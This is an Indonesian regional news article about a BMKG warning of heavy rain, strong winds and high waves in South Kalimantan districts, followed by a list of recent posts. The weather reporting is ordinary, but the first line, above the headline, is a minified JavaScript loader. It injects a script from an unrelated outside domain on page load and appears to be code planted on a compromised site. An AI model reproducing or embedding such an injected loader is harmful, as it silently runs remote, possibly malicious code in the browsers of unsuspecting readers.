(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

BMKG: Banjar, Tanbu dan Kotabaru Masih Potensi Hujan Lebat dan Angin Kencang


BANJARBARU, Stasiun Meteorologi Klas II Syamsudin Noor Banjarmasin Badan Meteorologi Klimatologi dan Geofisika (BMKG) memberikan peringatan dini untuk tiga daerah di Kalsel agar waspada terjadinya hujan lebat yang disertai kilat atau petir dan angin kencang.

“Wilayah Kabupaten Banjar, Kabupaten Tanah Bumbu dan Kotabaru untuk seminggu kedepan potensi hujan masih tinggi, jadi patut diwaspadai,” terang Staf Prakirawan Stasiun Meteorologi Syamsudin Noor Banjarmasin, Muhammad Shaa Imul Qadri di Banjarbaru, Selasa (11/6).

Secara spesifik, dia mengatakan, wilayah-wilayah masih berpotensi terjadi hujan sedang-lebat yang dapat disertai angin kencang, diantaranya Pulau Laut Utara, Batulicin, Kusan Hulu, Aranio, Kintap, Satui, Jorong, Pelaihari, Kelumpang Selatan, dan dapat meluas ke wilayah Kusan Hilir, Bati-Bati, Takisung, Panyipatan, Karang Intan, Kurau, Sei Pinang, Pengaron, Astambul, dan sekitarnya.

Shaaim, seperti dilansir antaranews.com menjelaskan, saat ini ada fenomena gangguan gelombang atmosfer atau disebut Madden Julian Oecilation (MJO) yang masuk ke wilayah Kotabaru membawa masa udara basah, sehingga berpotensi menimbulkan awan untuk terjadinya hujan.

Selain dari fenomena MJO tersebut, di Kalsel terutama bagian timur atau sekitar selat Makassar juga ada sirkulasi yang menghambat masa udara, dimana masa udara merapat sehingga memicu pertumbuhan awan di sekitar Kotabaru dan Tanah Bumbu.

“Daerah Samarinda di Kalimantan Timur dan Sulawesi Tenggara dan Sulawesi Utara juga kena dampak cuaca esktrem yang dipicu MJO ini,” bebernya.

Shaaim menggarisbawahi, bahwa MJO bukan fenomena musim tetapi hanya intra musim alias fenomena gangguan sementara. “Jadi kenapa bisa banjir seperti Kotabaru dan Tanah Bumbu saat ini, karena hujan yang terus menerus lantaran banyak faktor mendukung terjadinya hujan. Kemudian faktor lokal, seharusnya musim kemarau, malah hujan yang berlangsung terus seharian karena fenomena tadi,” paparnya, sembari mengatakan jika kondisi normal musim kemarau terjadi Juni hingga November.

Di sisi lain, sungai yang jadi penampung air hujan kondisinya semakin menyempit dan daerah resapan air juga berkurang dari waktu ke waktu lantaran pertumbuhan pemukiman penduduk dan sebagainya. Alhasil, hujan dengan intensitas tinggi akan membuat air tak bisa lagi ditampung atau dialirkan hingga sungai meluap dan berakibat banjir.Shaaim juga mengingatkan soal tinggi gelombang laut. Dimana perairan selatan Kalimantan Selatan atau laut Jawa bagian timur 2 sampai 2,5 meter. Sedangkan kecepatan angin laut Jawa bagian timur 8 sampai 25 knot dan gelombang 1,25 sampai 2,5 meter.

Untuk itu, bagi nelayan, tongkang dan kapal ferry diminta waspada terhadap potensi gelombang tinggi mencapai 2,5 meter di laut Jawa bagian barat, tengah dan timur (selatan Kalimantan) yang berpotensi terjadi hingga bulan Juli 2019 mendatang.

“Kalau batas aman untuk gelombang di bawah 2 meter bagi nelayan dengan kapal-kapal kecil dan sedang. Sedangkan kecepatan angin di bawah 15 knot aman,” tandas Shaaim.

Untuk masyarakat secara umum, cuaca yang tak menentu saat ini harus waspada penyakit, sehingga diimbau mengurangi aktivitas di luar dan selalu menyediakan obat-obatan. Jika pun harus beraktivitas di lapangan, maka selalu mengecek informasi dari BMKG terkait peringatan dini cuaca agar dapat mengantisipasi terjadinya hal-hal tak diinginkan.

“Update informasi kami bisa diakses di https://stamet.syamsudinnoor.bmkg.go.id atau media sosial Instagram @cuacakalsel dan Twitter cuacakalsel_bmkg,” pungkasnya.(fir/ant)

Reporter: Fir/ant
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.